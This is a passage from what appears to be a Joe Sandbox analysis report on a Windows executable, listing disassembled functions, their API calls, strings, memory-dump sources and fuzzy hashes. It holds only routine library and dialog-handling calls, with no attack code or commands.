                  • Instruction Fuzzy Hash: FB01F476A09B016AC3326774AC85A6B3A6DABC13F53264124F916E21D3FEA98D027160
                  Function 00EF075B Relevance: 7.5, APIs: 5, Instructions: 44COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00EF0A41: ResetEvent.KERNEL32(?), ref: 00EF0A53
                    • Part of subcall function 00EF0A41: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00EF0A67
                  • ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00EF078F
                  • CloseHandle.KERNEL32(?,?), ref: 00EF07A9
                  • DeleteCriticalSection.KERNEL32(?), ref: 00EF07C2
                  • CloseHandle.KERNEL32(?), ref: 00EF07CE
                  • CloseHandle.KERNEL32(?), ref: 00EF07DA
                    • Part of subcall function 00EF084E: WaitForSingleObject.KERNEL32(?,000000FF,00EF0A78,?), ref: 00EF0854
                    • Part of subcall function 00EF084E: GetLastError.KERNEL32(?), ref: 00EF0860
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
                  • String ID:
                  • API String ID: 1868215902-0
                  • Opcode ID: e3d7645b84c1d5ff969f425f87f45806e82e5c171be93500ea6e03c142174198
                  • Instruction ID: d69f0a1a28f0858409e1134eb016265af3e4c4972f425b413f664ed133c706e8
                  • Opcode Fuzzy Hash: e3d7645b84c1d5ff969f425f87f45806e82e5c171be93500ea6e03c142174198
                  • Instruction Fuzzy Hash: A201B571440708EFC722AB65DC84FD6BBE9FB48710F014569F25A521A1CB757A44DB90
                  Function 00F0BF10 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • _free.LIBCMT ref: 00F0BF28
                    • Part of subcall function 00F084DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00F0BFA7,00F13958,00000000,00F13958,00000000,?,00F0BFCE,00F13958,00000007,00F13958,?,00F0C3CB,00F13958), ref: 00F084F4
                    • Part of subcall function 00F084DE: GetLastError.KERNEL32(00F13958,?,00F0BFA7,00F13958,00000000,00F13958,00000000,?,00F0BFCE,00F13958,00000007,00F13958,?,00F0C3CB,00F13958,00F13958), ref: 00F08506
                  • _free.LIBCMT ref: 00F0BF3A
                  • _free.LIBCMT ref: 00F0BF4C
                  • _free.LIBCMT ref: 00F0BF5E
                  • _free.LIBCMT ref: 00F0BF70
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: _free$ErrorFreeHeapLast
                  • String ID:
                  • API String ID: 776569668-0
                  • Opcode ID: 57b2d74d1b2e85a8fe8f282eb3dee6ed253e7fee3baac8be015c6d1a25255ad8
                  • Instruction ID: 6e59a5715236555ca013b09b2b52981877963944f848dd7df5c3334f0b8dcee7
                  • Opcode Fuzzy Hash: 57b2d74d1b2e85a8fe8f282eb3dee6ed253e7fee3baac8be015c6d1a25255ad8
                  • Instruction Fuzzy Hash: 56F01236908706A7C620EBA5FE86C5673E9BE007617658809F849DB990CB34FC81BE54
                  Function 00F08060 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                  Download Yara Rule
                  APIs
                  • _free.LIBCMT ref: 00F0807E
                    • Part of subcall function 00F084DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00F0BFA7,00F13958,00000000,00F13958,00000000,?,00F0BFCE,00F13958,00000007,00F13958,?,00F0C3CB,00F13958), ref: 00F084F4
                    • Part of subcall function 00F084DE: GetLastError.KERNEL32(00F13958,?,00F0BFA7,00F13958,00000000,00F13958,00000000,?,00F0BFCE,00F13958,00000007,00F13958,?,00F0C3CB,00F13958,00F13958), ref: 00F08506
                  • _free.LIBCMT ref: 00F08090
                  • _free.LIBCMT ref: 00F080A3
                  • _free.LIBCMT ref: 00F080B4
                  • _free.LIBCMT ref: 00F080C5
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: _free$ErrorFreeHeapLast
                  • String ID:
                  • API String ID: 776569668-0
                  • Opcode ID: 4eb1e675b6fb31ab11ce9639fe4fecc6881e735b14872a7abf3d3adeec44bf8a
                  • Instruction ID: 3537961e5c23eb06fccbd05b1dc36d8dfa866b2a71b74cf8f57f31b599d3667b
                  • Opcode Fuzzy Hash: 4eb1e675b6fb31ab11ce9639fe4fecc6881e735b14872a7abf3d3adeec44bf8a
                  • Instruction Fuzzy Hash: 69F03A7C80122D8BC711AF15BC014453B65B73676030A861AFC86DBAB1CB3549D6BFC1
                  Function 00F076BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                  Download Yara Rule
                  APIs
                  • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\GNUCXbYadp.exe,00000104), ref: 00F076FD
                  • _free.LIBCMT ref: 00F077C8
                  • _free.LIBCMT ref: 00F077D2
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: _free$FileModuleName
                  • String ID: C:\Users\user\Desktop\GNUCXbYadp.exe
                  • API String ID: 2506810119-573482591
                  • Opcode ID: 35f954df1f5dc1959e6a3e1884d25380765dbf6de745a4bf8cc30703620bb321
                  • Instruction ID: 95d9d8aa6bd325a49d2125c56b072f45ccda7fbeb229c3e38c5c63d1d02a4de8
                  • Opcode Fuzzy Hash: 35f954df1f5dc1959e6a3e1884d25380765dbf6de745a4bf8cc30703620bb321
                  • Instruction Fuzzy Hash: 5631C275E04318AFDB21EF99DC8199EBBFCEB95750F1440A6E80497281D6709E81FB50
                  Function 00EE7574 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMON
                  Download Yara Rule
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EE7579
                    • Part of subcall function 00EE3B3D: __EH_prolog.LIBCMT ref: 00EE3B42
                  • GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00EE7640
                    • Part of subcall function 00EE7BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00EE7C04
                    • Part of subcall function 00EE7BF5: GetLastError.KERNEL32 ref: 00EE7C4A
                    • Part of subcall function 00EE7BF5: CloseHandle.KERNEL32(?), ref: 00EE7C59
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ErrorH_prologLast$CloseCurrentHandleProcess
                  • String ID: SeRestorePrivilege$SeSecurityPrivilege
                  • API String ID: 3813983858-639343689
                  • Opcode ID: 33ad3e6574bee23c0b96b994ee744bf4e84a97a2f2eb1d0b98d7a377a7622ed4
                  • Instruction ID: a89694d328a91422c5371fe57d1c75d55dd99e5bfea2d0fe6b59f7b34cdc4522
                  • Opcode Fuzzy Hash: 33ad3e6574bee23c0b96b994ee744bf4e84a97a2f2eb1d0b98d7a377a7622ed4
                  • Instruction Fuzzy Hash: FE31D37190828DAFDF20EBA9DC01BFE7BE9AF14358F005055F485B7192DB708A85D7A1
                  Function 00EFA430 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00EE130B: GetDlgItem.USER32(00000000,00003021), ref: 00EE134F
                    • Part of subcall function 00EE130B: SetWindowTextW.USER32(00000000,00F135B4), ref: 00EE1365
                  • EndDialog.USER32(?,00000001), ref: 00EFA4B8
                  • GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00EFA4CD
                  • SetDlgItemTextW.USER32(?,00000066,?), ref: 00EFA4E2
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ItemText$DialogWindow
                  • String ID: ASKNEXTVOL
                  • API String ID: 445417207-3402441367
                  • Opcode ID: 3fc104f984de94590342a1f11b1b2746296d0ff3cb406b556b3802297a14d6a4
                  • Instruction ID: 57aed0b14aaa6c03b94e9f8c8d6a531de5adbd651f4c08ef5c89cd8a8a71c0ce
                  • Opcode Fuzzy Hash: 3fc104f984de94590342a1f11b1b2746296d0ff3cb406b556b3802297a14d6a4
                  • Instruction Fuzzy Hash: 0211D67224425CAFD6218F58EC89F7637A9EB5B344F181164F715BF0A0C7B19901E722
                  Function 00EED1C3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: __fprintf_l_strncpy
                  • String ID: $%s$@%s
                  • API String ID: 1857242416-834177443
                  • Opcode ID: 924f4adaf06c3da5c40028f32ed27ec5fb14290fea0410d69e7fe66392ab06a7
                  • Instruction ID: b8c427cb1c20a01b27a29ac077c64773bb00b98fea89e30919c27b95c6679b05
                  • Opcode Fuzzy Hash: 924f4adaf06c3da5c40028f32ed27ec5fb14290fea0410d69e7fe66392ab06a7
                  • Instruction Fuzzy Hash: C7218E7244428CAADF21DEA5CD06FEE7BE8AF08700F041512FE14AA1A1E371DA55EF51
                  Function 00EFA990 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00EE130B: GetDlgItem.USER32(00000000,00003021), ref: 00EE134F
                    • Part of subcall function 00EE130B: SetWindowTextW.USER32(00000000,00F135B4), ref: 00EE1365
                  • EndDialog.USER32(?,00000001), ref: 00EFA9DE
                  • GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00EFA9F6
                  • SetDlgItemTextW.USER32(?,00000067,?), ref: 00EFAA24
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ItemText$DialogWindow
                  • String ID: GETPASSWORD1
                  • API String ID: 445417207-3292211884
                  • Opcode ID: 062af0070e12a996a0f590f31ef21af8db5a274adefd8b9184513b773840361c
                  • Instruction ID: 53fc8b1bf893f6faeeb3474f8b54be4a497e1c0fea037306868f101900539a81
                  • Opcode Fuzzy Hash: 062af0070e12a996a0f590f31ef21af8db5a274adefd8b9184513b773840361c
                  • Instruction Fuzzy Hash: CD11487294011C7ADB219E64AD09FFA7BBCEB8A304F040031FB49BA080C2A09995E672
                  Function 00EEB4F7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON
                  Download Yara Rule
                  APIs
                  • _swprintf.LIBCMT ref: 00EEB51E
                    • Part of subcall function 00EE400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00EE401D
                  • _wcschr.LIBVCRUNTIME ref: 00EEB53C
                  • _wcschr.LIBVCRUNTIME ref: 00EEB54C
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: _wcschr$__vswprintf_c_l_swprintf
                  • String ID: %c:\
                  • API String ID: 525462905-3142399695
                  • Opcode ID: 6e760448f9bc4a4bee3cfb63e4fc1a83a15fb580d97d9b337504aeecdda5fb78
                  • Instruction ID: 72a8e33fd8456d6bd1f002d32c3cf29806ceda2341745c6b333bd288e6a239c9
                  • Opcode Fuzzy Hash: 6e760448f9bc4a4bee3cfb63e4fc1a83a15fb580d97d9b337504aeecdda5fb78
                  • Instruction Fuzzy Hash: F5016863900365BACB20ABB6AC82C7BB7EDEE953B07545416F844E60C1FB30D844D2A2
                  Function 00EF06BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON
                  Download Yara Rule
                  APIs
                  • InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00EEABC5,00000008,?,00000000,?,00EECB88,?,00000000), ref: 00EF06F3
                  • CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00EEABC5,00000008,?,00000000,?,00EECB88,?,00000000), ref: 00EF06FD
                  • CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00EEABC5,00000008,?,00000000,?,00EECB88,?,00000000), ref: 00EF070D
                  Strings
                  • Thread pool initialization failed., xrefs: 00EF0725
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Create$CriticalEventInitializeSectionSemaphore
                  • String ID: Thread pool initialization failed.
                  • API String ID: 3340455307-2182114853
                  • Opcode ID: 71b387ba63306d9263e7ef03fd380321343c306e8241af978ba4623159831d92
                  • Instruction ID: 36b856471392ad99fff399fd7753b6c19988dada7de1e03b2d086d5d50a00784
                  • Opcode Fuzzy Hash: 71b387ba63306d9263e7ef03fd380321343c306e8241af978ba4623159831d92
                  • Instruction Fuzzy Hash: 871173B150070CAFC3215F66DC84AA7FBECEB99759F11482EF2DA92241D6716A80DB50
                  Function 00EFD38B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID:
                  • String ID: RENAMEDLG$REPLACEFILEDLG
                  • API String ID: 0-56093855
                  • Opcode ID: ec1aaecb17d33ccf7648625c76473e16a21bc34911f0abe0d875a8b96a3abd7f
                  • Instruction ID: c3b9bf89e0db4fdf80b7d485db4620dedbbab5903efbf2f9eddd417bec177acf
                  • Opcode Fuzzy Hash: ec1aaecb17d33ccf7648625c76473e16a21bc34911f0abe0d875a8b96a3abd7f
                  • Instruction Fuzzy Hash: E601B17260524DAFCB21EF58ED04AAA7FEAE7543D4B001431FA05E3231CA719C52FBA1
                  Function 00F091DE Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: __alldvrm$_strrchr
                  • String ID:
                  • API String ID: 1036877536-0
                  • Opcode ID: 35fd0d8be5dca6c89d1c4a519db20ace465afc24967252a61766d950e54f80d3
                  • Instruction ID: a6dd4fc118a89a9c666a6a2b4618f38edce45a558965b000d6846ca375529292
                  • Opcode Fuzzy Hash: 35fd0d8be5dca6c89d1c4a519db20ace465afc24967252a61766d950e54f80d3
                  • Instruction Fuzzy Hash: 23A15976D083869FDB11CF58C8917AEBBE5EF51320F14816DE5859B2C2E2B89842F750
                  Function 00EEA2AB Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON
                  Download Yara Rule
                  APIs
                  • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,00EE80B7,?,?,?), ref: 00EEA351
                  • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,00EE80B7,?,?), ref: 00EEA395
                  • SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,00EE80B7,?,?,?,?,?,?,?,?), ref: 00EEA416
                  • CloseHandle.KERNEL32(?,?,00000000,?,00EE80B7,?,?,?,?,?,?,?,?,?,?,?), ref: 00EEA41D
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: File$Create$CloseHandleTime
                  • String ID:
                  • API String ID: 2287278272-0
                  • Opcode ID: ab524c809507cef3f804e6a915f7fd88b78c759985454e45edc927be296db054
                  • Instruction ID: c72f9ea9205a062d5a7335292e827588b1a505de1b737de7cb3e09a38e80a22e
                  • Opcode Fuzzy Hash: ab524c809507cef3f804e6a915f7fd88b78c759985454e45edc927be296db054
                  • Instruction Fuzzy Hash: 6041DF302483C96AD731DF25DC45BEEBBE8AB85704F08092DB5E0B31D1D664AA4CDB13
                  Function 00F0C099 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00F089AD,?,00000000,?,00000001,?,?,00000001,00F089AD,?), ref: 00F0C0E6
                  • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00F0C16F
                  • GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00F067E2,?), ref: 00F0C181
                  • __freea.LIBCMT ref: 00F0C18A
                    • Part of subcall function 00F08518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00F0C13D,00000000,?,00F067E2,?,00000008,?,00F089AD,?,?,?), ref: 00F0854A
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                  • String ID:
                  • API String ID: 2652629310-0
                  • Opcode ID: 35863f6a19f38023c2c4622529cf14a6becbf1a342aa1b0b387e54df0a68d27f
                  • Instruction ID: 6a44b102788b5eada82cb4ec70ac759d229845ce319cbc95d1dd791ba4e272b3
                  • Opcode Fuzzy Hash: 35863f6a19f38023c2c4622529cf14a6becbf1a342aa1b0b387e54df0a68d27f
                  • Instruction Fuzzy Hash: 4931BC72A0020AABDF248F64CC41EAE7BA5EF44320F154228FC04E7291EB35CD55EBE0
                  Function 00F02503 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • ___BuildCatchObject.LIBVCRUNTIME ref: 00F0251A
                    • Part of subcall function 00F02B52: ___AdjustPointer.LIBCMT ref: 00F02B9C
                  • _UnwindNestedFrames.LIBCMT ref: 00F02531
                  • ___FrameUnwindToState.LIBVCRUNTIME ref: 00F02543
                  • CallCatchBlock.LIBVCRUNTIME ref: 00F02567
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
